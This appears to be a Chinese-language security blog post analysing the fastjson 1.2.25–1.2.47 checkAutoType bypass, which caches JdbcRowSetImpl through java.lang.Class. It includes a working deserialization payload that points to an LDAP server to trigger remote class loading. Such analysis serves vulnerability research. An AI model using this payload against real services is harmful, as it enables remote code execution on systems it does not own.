fastjson1.2.25-1.2.47绕过
在1.2.25之前,因为默认AutoTyep是开启的,也没有什么限制,在1.2.25开始,fastjson就关闭了autotype,并且加入了,并且加入了checkAutotype
checkAutoType补丁分析
在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
前面的[绕过和L绕过就不说了,说一下通杀,不开autotype也能用的姿势。
1.2.25-1.2.47通杀
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
payload
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass","autoCommit":true}}
使用1.2.47复现
因为没有开启autotypeSupport,不会进入这里的判断

因为type的值是java.lang.Class所以在findClass可以找到

这里获取了JdbcRowSetImpl
这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中

然后再次进入loadclass加载了该类

然后在这里存入了缓存到className里

再次进入checkautotype函数时,这里就从缓存加载了这个类

绕过了检查。然后触发方式就和之前一样了
